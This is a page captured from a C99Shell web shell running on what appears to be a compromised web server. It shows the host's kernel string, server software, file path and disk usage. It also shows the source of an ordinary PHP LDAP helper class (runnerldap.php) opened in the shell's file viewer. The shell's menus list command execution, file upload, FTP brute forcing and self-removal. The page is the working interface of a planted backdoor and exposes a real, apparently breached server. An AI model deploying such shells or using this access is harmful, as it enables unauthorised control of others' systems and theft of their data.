!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/data/classes/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     runnerldap.php (5.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Class for display admin_rights_list
 *
 */
class RunnerLdap
{
    var 
$ldap_domainName '';
    
    var 
$ldap_serverIP null;
    
    var 
$ldapconn null;
    
    var 
$ldapbind null;
    
    var 
$ldap_useCustom false;

    var 
$baseDN null;
    var 
$followRefs null;
    
    function 
__construct($aDomainName$aServerIP$useCustom$baseDN$followRefs )
    {
        
$this->ldap_domainName $aDomainName;
        
$this->ldap_serverIP $aServerIP;
        
$this->ldap_useCustom $useCustom;
        
$this->baseDN $baseDN;
        
$this->followRefs $followRefs;
    }
    

    
/**
     *
     */
    
function runner_ldap_connect($aUsername$aPassword)
    {
        
// connect to ldap server
        
$this->ldapconn ldap_connectldap_getUrlldap_getUrl$this->ldap_serverIP ) ) );
        if ( !
$this->ldapconn || ldap_errno($this->ldapconn) != )
            return 
false;
            
        @
ldap_set_option($this->ldapconnLDAP_OPT_DEBUG_LEVEL7);
        @
ldap_set_option($this->ldapconnLDAP_OPT_PROTOCOL_VERSION3);
        @
ldap_set_option($this->ldapconnLDAP_OPT_REFERRALS$this->followRefs );
        
        
// binding to ldap server
        
$usernames $this->getUserNames$aUsername );    
        foreach(
$usernames as $u)
        {
            
$this->ldapbind = @ldap_bind($this->ldapconn$u $aPassword);
            if( 
$this->ldapbind )
                break;
        }
        
        if( !
$this->ldapbind )
            return 
false;
            
        return 
true;
    }
    
    
/**
     * @param String aUsername
     * @return Array
     */
    
protected function getUserNames$aUsername )
    {
        global 
$customLDAPSettings;
        
        
$usernames = array();
        
$usernames[] = $aUsername."@"$this->ldap_domainName// Active Directory string
        
$usernames[] = $this->ldap_domainName "\\" $aUsername// old format Active Directory string
        
$usernames[] = $aUsername
        
$usernames[] = "uid=".$aUsername.",".$this->baseDN// OpenLDAP string    
        
$usernames[] = "cname=".$aUsername.",cname=Users,".$this->baseDN// AD string    
        
$usernames[] = "cn=".$aUsername.",cn=Users,".$this->baseDN// AD string    
        
        
if( $this->ldap_useCustom && $customLDAPSettings["usernames"]) 
        {            
            foreach( 
$customLDAPSettings["usernames"] as $usernamePattern 
            {
                
$usernames[] = $this->getProcessedPattern$usernamePattern$aUsername );
            }
        }        
        
        return 
$usernames;
    }
    
    
/**
     * @param String
     */
    
public function getProcessedPattern$pattern$userName )
    {
        return 
str_replace( array("%u""%d""%e"), array( $userName$this->ldap_domainName$this->baseDN ), $pattern );
    }

    
/**
     * @param Mixed attValue
     * @return String
     */
    
public function processAttrValue($attValue)
    {
        if( !
is_array($attValue) )
            return 
$attValue;
        
        foreach( 
$attValue as $value )
        {
            return 
$value;
        }
    }
    
    
/**
    * Search LDAP tree
    * @ An LDAP link identifier, returned by ldap_connect()
    * @ string The search filter 
    * @ array An array of the required attributes
    */
    
function runner_ldap_getData($filter$attributes = array())
    {
        
$ldap_dn $this->baseDN;
        if( !
count($attributes) )
            
$query ldap_search($this->ldapconn$ldap_dn$filter);
        else 
            
$query ldap_search($this->ldapconn$ldap_dn$filter$attributes);    
        
        if( 
$query === FALSE 
            return 
FALSE;
        
        
// Read all results from search
        
$entries ldap_get_entries($this->ldapconn$query);
        return 
$this->runner_convert_entries($entries);
    }
    
    function 
runner_convert_entries($aData)
    {    
        
$resultArr = array();
        if (!
sizeof($aData)) 
            return 
null;

        for (
$j 0$j $aData['count']; $j++)
        {
            
$result = array();
            foreach (
$aData[$j] as $key=>$val)
            {
                if (
is_numeric($key))
                    continue;
                if(!
is_array($val)) 
                    
$result[$key] = $val;
                
                else if (
$val["count"] > || $key == 'memberof'
                {
                    
//set array
                    
$tmpResult = array();
                    for (
$i=0;$i<$val['count'];$i++)
                    {
                        
$tmpResult[] = $val[$i];
                    }
                    
$result[$key] = $tmpResult;
                }
                else if (
$key == 'dn')
                    
$result[$key] = $val;
                else 
                    
$result[$key] = $val[0];
            }
            
$resultArr[] = $result;
        }
        
        return 
$resultArr;
    }
    

    
/**
     * Convert OU=users,DC=test,DC=xlinesoft,DC=com
     * to test.xlinesoft.com
     */

    
    
function runner_ldap_unbind()
    {
        
ldap_unbind($this->ldapconn);
    }
    
    function 
ldap_error()
    {
        return 
ldap_err2str(ldap_errno($this->ldapconn));
    }
    
    
//function for Active Directory
    /**
     * This function retrieves and returns CN from given DN
     * $dn = CN=Users,CN=Builtin,DC=test,DC=xlinesoft,DC=com
     * return Users
     */
    
function ldap_getCN($dn
    {
        
preg_match('/[^,]*/'$dn$matchsPREG_OFFSET_CAPTURE3);
        return 
$matchs[0][0];
    }
        
    
/**
     * This function searchs in LDAP tree ($ad -LDAP link identifier)
      * entry specified by samaccountname and returns its DN or epmty
      * string on failure.
     * $samaccountname = Users
     * $basedn = DC=test,DC=xlinesoft,DC=com
     * return CN=Users,CN=Builtin,DC=test,DC=xlinesoft,DC=com
     */
    
function ldap_getDN($ad$samaccountname$basedn
    {
        
$attributes = array('dn');
        
$result ldap_search($ad$basedn"(samaccountname={$samaccountname})"$attributes);
        if (
$result === FALSE
            return 
''
            
        
$entries ldap_get_entries($ad$result);
        
        if (
$entries['count'] > 0
             return 
$entries[0]['dn']; 
        return 
'';
    }
    
    function 
getGroupSid($userSid$primaryGroupId)
    {
        
$tgroup bin2hex(substr($userSid,0strlen($userSid)-4));
        
$group "";
        for(
$i 0$i<strlen($tgroup); $i += 2)
        {
            
$group .= '\\'.substr($tgroup,$i,2);
        }
        
$group .= sprintf("\\%02x",$primaryGroupId 255);
        
$group .= sprintf("\\%02x",($primaryGroupId >>8) & 255);
        
$group .= sprintf("\\%02x",($primaryGroupId >>16) & 255);
        
$group .= sprintf("\\%02x",($primaryGroupId >>24) & 255);
        
        return 
$group;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0021 ]--